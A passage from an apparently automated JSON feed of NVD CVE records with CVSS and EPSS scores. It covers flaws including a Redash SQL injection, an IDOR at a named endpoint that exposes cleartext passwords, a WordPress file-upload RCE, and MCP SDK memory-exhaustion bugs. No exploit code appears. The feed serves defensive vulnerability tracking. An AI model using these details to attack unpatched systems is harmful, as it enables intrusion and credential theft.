2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86848&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86848, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86567","cveId":"CVE-2026-86567","aliases":[],"kind":"vulnerability","title":"A flaw was found in DPDK lib/vhost. The VDUSE handler fails to invalidate vring pointers when the IOTLB is invalidated, leading to use-after-unmap.","summary":"A flaw was found in DPDK lib/vhost. The VDUSE handler fails to invalidate vring pointers when the IOTLB is invalidated, leading to use-after-unmap.","detail":"A flaw was found in DPDK lib/vhost. The VDUSE handler fails to invalidate vring pointers when the IOTLB is invalidated, leading to use-after-unmap.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:18.390Z","updatedAt":"2026-10-15T16:18:22.257Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86567","asOf":"2026-10-15T16:18:22.257Z"},"epss":{"probability":0.00147,"percentile":0.03886,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86567&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86567","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86567","type":"primary","publishedAt":"2026-10-14T18:19:18.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86567&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86567, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86461","cveId":"CVE-2026-86461","aliases":[],"kind":"vulnerability","title":"The FV Flowplayer Video Player plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 7.5.54.7212 via the check_mimetype...","summary":"The FV Flowplayer Video Player plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 7.5.54.7212 via the check_mimetype function. This is due to incomplete file type validation in the check_mimetype function — while some extension checking is present, it can be bypassed, allowing attacker-supplied remote file content to be written with insufficient extension enforcement and no MIME check or WordPress upload helper. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the plugin's 'profile videos on bio' option to be enabled, as this causes the nonce to be emitted on the subscriber-accessible profile page; without this setting, authenticated users below Editor cannot obtain the required nonce.","detail":"The FV Flowplayer Video Player plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 7.5.54.7212 via the check_mimetype function. This is due to incomplete file type validation in the check_mimetype function — while some extension checking is present, it can be bypassed, allowing attacker-supplied remote file content to be written with insufficient extension enforcement and no MIME check or WordPress upload helper. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the plugin's 'profile videos on bio' option to be enabled, as this causes the nonce to be emitted on the subscriber-accessible profile page; without this setting, authenticated users below Editor cannot obtain the required nonce.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:17.623Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86461","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00718,"percentile":0.53584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86461","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86461","type":"primary","publishedAt":"2026-10-14T18:19:17.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79957","cveId":"CVE-2026-79957","aliases":[],"kind":"vulnerability","title":"ServiceNext contains an insecure direct object reference (IDOR) in the /api/Usuario/GetUsuarios endpoint, which accepts a user-controlled numeric ID in the request body without...","summary":"ServiceNext contains an insecure direct object reference (IDOR) in the /api/Usuario/GetUsuarios endpoint, which accepts a user-controlled numeric ID in the request body without verifying that the authenticated token belongs to the requested account (CWE-639). Any authenticated user can iterate the ID parameter to retrieve the full profile record of every other user, including passwords stored in cleartext (CWE-256), enabling account takeover and credential-stuffing attacks.","detail":"ServiceNext contains an insecure direct object reference (IDOR) in the /api/Usuario/GetUsuarios endpoint, which accepts a user-controlled numeric ID in the request body without verifying that the authenticated token belongs to the requested account (CWE-639). Any authenticated user can iterate the ID parameter to retrieve the full profile record of every other user, including passwords stored in cleartext (CWE-256), enabling account takeover and credential-stuffing attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:18:19.133Z","updatedAt":"2026-10-16T21:19:53.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79957","asOf":"2026-10-16T21:19:53.860Z"},"epss":{"probability":0.00308,"percentile":0.23409,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79957","type":"primary","publishedAt":"2026-10-14T18:18:19.133Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54554","cveId":"CVE-2026-54554","aliases":[],"kind":"vulnerability","title":"FOG is a free open-source cloning/imaging/rescue suite/inventory management system.","summary":"FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.1870, the management adInfo() endpoint in packages/web/lib/fog/fogpage.class.php was reported to return the FOG_AD_DEFAULT_PASSWORD value in its domainpass JSON field and to be dispatchable through node=ipxe without an authenticated session. The response was also consumed by host and group Active Directory configuration interfaces. This could disclose the default domain-join credential to a remote unauthenticated requester. This vulnerability is fixed in 1.5.10.1870.","detail":"FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.1870, the management adInfo() endpoint in packages/web/lib/fog/fogpage.class.php was reported to return the FOG_AD_DEFAULT_PASSWORD value in its domainpass JSON field and to be dispatchable through node=ipxe without an authenticated session. The response was also consumed by host and group Active Directory configuration interfaces. This could disclose the default domain-join credential to a remote unauthenticated requester. This vulnerability is fixed in 1.5.10.1870.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:37.693Z","updatedAt":"2026-10-20T02:17:11.463Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54554","asOf":"2026-10-20T02:17:11.463Z"},"epss":{"probability":0.00583,"percentile":0.4759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54554&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54554","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54554","type":"primary","publishedAt":"2026-10-14T18:17:37.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54554&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54554, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42093","cveId":"CVE-2026-42093","aliases":[],"kind":"vulnerability","title":"Redash is a package for data visualization and sharing.","summary":"Redash is a package for data visualization and sharing. From versions after 8.0.0 until 26.9.0, the Query Results query runner in redash/query_runner/query_results.py accepts param_query_N_{key=value} parameters and passed attacker-controlled values to replace_query_parameters() for raw substitution into a referenced query's SQL. This path bypassed the ParameterizedQuery schema validation used by normal query execution and omitted the is_safe permission check. An authenticated user with at least view-only access to both the Query Results data source and the referenced data source could therefore inject SQL through text parameters and execute it with the referenced data source's privileges. This issue is fixed in version 26.9.0.","detail":"Redash is a package for data visualization and sharing. From versions after 8.0.0 until 26.9.0, the Query Results query runner in redash/query_runner/query_results.py accepts param_query_N_{key=value} parameters and passed attacker-controlled values to replace_query_parameters() for raw substitution into a referenced query's SQL. This path bypassed the ParameterizedQuery schema validation used by normal query execution and omitted the is_safe permission check. An authenticated user with at least view-only access to both the Query Results data source and the referenced data source could therefore inject SQL through text parameters and execute it with the referenced data source's privileges. This issue is fixed in version 26.9.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:36.980Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42093","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00684,"percentile":0.52303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42093","type":"primary","publishedAt":"2026-10-14T18:17:36.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109527","cveId":"CVE-2026-109527","aliases":[],"kind":"vulnerability","title":"The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients.","summary":"The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp versions before 1.29.1 and from 2.0.0a1 through 2.0.1, the Streamable HTTP session manager, SSE message endpoint, and OAuth authorization-server routes buffer complete HTTP request bodies without enforcing a maximum size. An unauthenticated remote client able to reach an affected endpoint can send a large declared or streamed request body that consumes multiple times the body size in process memory and can repeatedly exhaust memory or terminate the server. Stdio-only servers and deployments with an effective upstream request-size limit are not affected, and applications that use StreamableHTTPServerTransport directly remain responsible for enforcing their own limit. The standard SDK server applications and session managers are fixed in versions 1.29.1 and 2.1.0.","detail":"The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp versions before 1.29.1 and from 2.0.0a1 through 2.0.1, the Streamable HTTP session manager, SSE message endpoint, and OAuth authorization-server routes buffer complete HTTP request bodies without enforcing a maximum size. An unauthenticated remote client able to reach an affected endpoint can send a large declared or streamed request body that consumes multiple times the body size in process memory and can repeatedly exhaust memory or terminate the server. Stdio-only servers and deployments with an effective upstream request-size limit are not affected, and applications that use StreamableHTTPServerTransport directly remain responsible for enforcing their own limit. The standard SDK server applications and session managers are fixed in versions 1.29.1 and 2.1.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:33.447Z","updatedAt":"2026-10-20T02:17:08.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python","MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109527","asOf":"2026-10-20T02:17:08.867Z"},"epss":{"probability":0.007,"percentile":0.52896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109527&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109527","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109527","type":"primary","publishedAt":"2026-10-14T18:17:33.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109527&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109527, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108484","cveId":"CVE-2026-108484","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Best Payments Plugin for WP wp-payment-form allows Stored...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Best Payments Plugin for WP wp-payment-form allows Stored XSS.This issue affects Best Payments Plugin for WP: from n/a through 4.6.27.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Best Payments Plugin for WP wp-payment-form allows Stored XSS.This issue affects Best Payments Plugin for WP: from n/a through 4.6.27.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:29.680Z","updatedAt":"2026-10-15T17:17:14.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108484","asOf":"2026-10-15T17:17:14.347Z"},"epss":{"probability":0.00186,"percentile":0.08081,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108484&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108484","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108484","type":"primary","publishedAt":"2026-10-14T18:17:29.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108484&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108484, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108483","cveId":"CVE-2026-108483","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hippooo Hippoo Mobile App for WooCommerce hippoo allows Reflected XSS.This...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hippooo Hippoo Mobile App for WooCommerce hippoo allows Reflected XSS.This issue affects Hippoo Mobile App for WooCommerce: from n/a through 1.12.0.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hippooo Hippoo Mobile App for WooCommerce hippoo allows Reflected XSS.This issue affects Hippoo Mobile App for WooCommerce: from n/a through 1.12.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:29.527Z","updatedAt":"2026-10-15T17:17:14.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108483","asOf":"2026-10-15T17:17:14.243Z"},"epss":{"probability":0.00186,"percentile":0.08082,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108483&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108483","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108483","type":"primary","publishedAt":"2026-10-14T18:17:29.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108483&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108483, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108480","cveId":"CVE-2026-108480","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Skydropx Skydropx skydropx allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Skydropx: from n/a...","summary":"Missing Authorization vulnerability in Skydropx Skydropx skydropx allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Skydropx: from n/a through 2.1.4.","detail":"Missing Authorization vulnerability in Skydropx Skydropx skydropx allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Skydropx: from n/a through 2.1.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:29.393Z","updatedAt":"2026-10-15T17:17:14.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108480","asOf":"2026-10-15T17:17:14.140Z"},"epss":{"probability":0.00248,"percentile":0.15915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108480&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108480","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108480","type":"primary","publishedAt":"2026-10-14T18:17:29.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108480&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108480, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108395","cveId":"CVE-2026-108395","aliases":[],"kind":"vulnerability","title":"The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients.","summary":"The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From version 0.8.0 through 0.12.0 in the io.modelcontextprotocol.sdk:mcp artifact, from 0.13.0 through 0.18.3 and 1.0.0 through 1.1.3 in io.modelcontextprotocol.sdk:mcp-core, and from mcp-core 2.0.0-M1 through 2.0.0, the Servlet-based SSE, Streamable HTTP, and Stateless server transports read an HTTP request body into memory without enforcing a maximum size. An unauthenticated remote client able to reach an affected transport can stream an arbitrarily large POST body, including with chunked transfer encoding, until the Java process exhausts its heap and becomes unavailable. Authentication, Origin or Host validation, or an upstream request-size limit can reject the request before the vulnerable read. The maintained mcp-core lines are fixed in versions 0.18.4, 1.1.4, and 2.0.1.","detail":"The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From version 0.8.0 through 0.12.0 in the io.modelcontextprotocol.sdk:mcp artifact, from 0.13.0 through 0.18.3 and 1.0.0 through 1.1.3 in io.modelcontextprotocol.sdk:mcp-core, and from mcp-core 2.0.0-M1 through 2.0.0, the Servlet-based SSE, Streamable HTTP, and Stateless server transports read an HTTP request body into memory without enforcing a maximum size. An unauthenticated remote client able to reach an affected transport can stream an arbitrarily large POST body, including with chunked transfer encoding, until the Java process exhausts its heap and becomes unavailable. Authentication, Origin or Host validation, or an upstream request-size limit can reject the request before the vulnerable read. The maintained mcp-core lines are fixed in versions 0.18.4, 1.1.4, and 2.0.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:27.370Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java","MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108395","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00608,"percentile":0.48759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108395&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108395","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108395","type":"primary","publishedAt":"2026-10-14T18:17:27.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 